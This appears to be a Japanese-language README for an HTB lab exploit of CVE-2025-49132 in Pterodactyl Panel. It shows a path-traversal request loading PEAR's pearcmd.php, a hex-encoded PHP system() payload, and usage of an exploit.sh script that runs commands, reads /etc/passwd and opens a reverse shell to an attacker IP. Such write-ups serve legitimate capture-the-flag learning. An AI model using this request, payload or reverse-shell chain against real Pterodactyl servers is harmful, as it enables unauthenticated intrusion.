
Pterodactylパネル用の未認証RCEエクスプロイト(CVE-2025-49132) - パストラバーサルとPEARコマンドインジェクションを組み合わせて、脆弱なサーバー上で任意のPHPコードを実行します。
HTB Season 10 - Pterodactyl マシン Writeup
ターゲット: Pterodactyl HTB マシン (中程度の難易度)
CVE: CVE-2025-49132
重要度: Critical (CVSS 9.8)
攻撃タイプ: 認証なしのリモートコード実行
影響を受けるバージョン: Pterodactyl Panel < v1.11.11
このエクスプロイトチェーンは以下の組み合わせです:
Pterodactyl Panel の /locales/locale.json エンドポイントは、locale パラメータを介してパストラバーサルを許可します:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd
これは PEAR の pearcmd.php と連鎖させて以下のことが可能です:
/tmp に書き込むPEAR (PHP Extension and Application Repository) には CLI ツール (pearcmd.php) があり、それでは:
config-create コマンドがあり、ファイルを書き込むエクスプロイトチェーン:
パストラバーサル → pearcmd.php を読み込む → config-create 経由で PHP を注入 → 悪意のある PHP を実行
コマンドは hex2bin() を使用して16進数エンコードされ、以下をバイパスします:
例:
Command: whoami
Hex: 77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>
方法: 提供された exploit.sh を使用
chmod +x exploit.sh
# Get user flag
./exploit.sh flag
# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"
# Reverse shell
nc -lvnp 4444 # On attacker machine
./exploit.sh shell 10.10.14.21 4444